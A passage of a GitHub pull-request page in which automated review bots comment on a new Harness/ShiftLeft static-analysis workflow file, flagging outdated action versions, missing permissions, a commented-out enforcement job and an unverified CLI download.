If this is intentional for initial rollout, consider adding a comment explaining the plan and timeline to uncomment it. Otherwise, uncomment the Build-Rules job to activate the security gate.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 38:
<comment>The `Build-Rules` job is entirely commented out, so the security rules defined in `shiftleft.yml` (e.g., "Allow no critical findings") are never enforced. `sl analyze` submits the code for scanning, but without `sl check-analysis` the workflow will never fail a PR for discovered vulnerabilities — effectively making this a scan-only workflow with no enforcement gate.
If this is intentional for initial rollout, consider adding a comment explaining the plan and timeline to uncomment it. Otherwise, uncomment the `Build-Rules` job to activate the security gate.</comment>
<file context>
@@ -0,0 +1,62 @@
+ SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443
+ SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443
+
+# Build-Rules:
+# runs-on: ubuntu-latest
+# permissions: write-all
</file context>
| NextGen-Static-Analysis: | ||
| runs-on: ubuntu-latest | ||
| steps: | ||
| - uses: actions/checkout@v3 |
There was a problem hiding this comment.
P2: Update actions/checkout from @v3 to @v4 to match the repository's convention and avoid running CI on an EOL Node.js 16 runtime.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 14:
<comment>Update `actions/checkout` from `@v3` to `@v4` to match the repository's convention and avoid running CI on an EOL Node.js 16 runtime.</comment>
<file context>
@@ -0,0 +1,62 @@
+ NextGen-Static-Analysis:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v3
+ - name: Setup Java JDK v8
+ uses: actions/setup-java@v3
</file context>
| steps: | ||
| - uses: actions/checkout@v3 | ||
| - name: Setup Java JDK v8 | ||
| uses: actions/setup-java@v3 |
There was a problem hiding this comment.
P2: actions/setup-java@v3 uses the deprecated Node.js 16 runtime and may fail on current GitHub-hosted runners. Upgrade to actions/setup-java@v4 (or later) and consider pinning to a full commit SHA for reproducibility.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 16:
<comment>`actions/setup-java@v3` uses the deprecated Node.js 16 runtime and may fail on current GitHub-hosted runners. Upgrade to `actions/setup-java@v4` (or later) and consider pinning to a full commit SHA for reproducibility.</comment>
<file context>
@@ -0,0 +1,62 @@
+ steps:
+ - uses: actions/checkout@v3
+ - name: Setup Java JDK v8
+ uses: actions/setup-java@v3
+ with:
+ distribution: zulu
</file context>
|
|
||
| jobs: | ||
| NextGen-Static-Analysis: | ||
| runs-on: ubuntu-latest |
There was a problem hiding this comment.
P2: The workflow does not declare explicit permissions, inheriting the repository's default token scope. For a scan-only job that doesn't need to write to the repository, this grants unnecessarily broad access. Restrict permissions to the minimum required:
permissions:
contents: readPrompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 12:
<comment>The workflow does not declare explicit `permissions`, inheriting the repository's default token scope. For a scan-only job that doesn't need to write to the repository, this grants unnecessarily broad access. Restrict permissions to the minimum required:
```yaml
permissions:
contents: read
```</comment>
<file context>
@@ -0,0 +1,62 @@
+
+jobs:
+ NextGen-Static-Analysis:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v3
</file context>
| @@ -0,0 +1,62 @@ | |||
| --- | |||
There was a problem hiding this comment.
P3: Remove the fully commented-out Build-Rules job block. Commented-out workflow code adds noise, confuses readers about whether the step is needed, and is better tracked in documentation or a separate PR if/when it is ready.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 43:
<comment>Remove the fully commented-out `Build-Rules` job block. Commented-out workflow code adds noise, confuses readers about whether the step is needed, and is better tracked in documentation or a separate PR if/when it is ready.</comment>
<file context>
@@ -0,0 +1,62 @@
+# permissions: write-all
+# needs: NextGen-Static-Analysis
+# steps:
+# - uses: actions/checkout@v3
+# - name: Download Harness SAST and SCA CLI
+# run: |
</file context>
![llamapreview[bot]](https://avatars.githubusercontent.com/in/1023541?s=60&v=4){kind=small}
There was a problem hiding this comment.
LlamaPReview — No blocking issues found
One non-blocking finding was retained: Unverified binary download from remote CDN without integrity check.
Review details and evidence
| Priority | File | Finding | Evidence |
|---|---|---|---|
| P2 | .github/workflows/shiftleft.yml |
Unverified binary download from remote CDN without integrity check | needs verification |
Finding details
P2 · Unverified binary download from remote CDN without integrity check
.github/workflows/shiftleft.yml
The workflow downloads the sl CLI binary from cdn.shiftleft.io without verifying its integrity (no checksum, signature, or pinned version). If the CDN is compromised, the runner would execute arbitrary code with access to CI secrets. HTTPS provides transport security but does not authenticate the payload itself. This PR was created by ShiftLeft/Harness and follows their documented integration pattern; no integrity verification mechanism appears to be offered by the vendor.
Verification boundary: needs verification; scope: changed region.
LlamaPReview checks
- Read bounded PR-head context from
.github/workflows/shiftleft.yml.
Automated review by LlamaPReview · Free for public open-source projects.
2 participants
This pull request adds a GitHub Action workflow file that executes Harness Static Application Security Testing (SAST) on this PR. Once merged, it will also execute SAST on all future PRs opened in this repository.
Visit app.shiftleft.io to see the security findings for this repository.
We've done a few things on your behalf
SHIFTLEFT_ACCESS_TOKENto allow GitHub Actions in this repository to communicate with the Harness SAST and SCA APIQuestions? Comments? Want to learn more? Get in touch with us or check out our documentation.
Summary by Sourcery
Integrate Harness (Qwiet) SAST/SCA scanning into the repository via a GitHub Actions workflow and enforce basic security build rules.
New Features:
Build:
CI:
Summary by cubic
Adds a GitHub Action to run Harness (Qwiet) SAST/SCA on every pull request. Includes build rules to block critical and reachable OSS vulnerabilities and limit OSS/container findings.
.github/workflows/shiftleft.ymltriggered onpull_requestandworkflow_dispatch.sl analyze --strict --waitfor appAirMergewith JS/TS scanning.SHIFTLEFT_ACCESS_TOKENand reports results as a PR status check.shiftleft.ymlbuild rules: no critical findings, max 1 OSS or container finding, and no reachable OSS vulnerabilities.Written for commit 2a53a81. Summary will update on new commits.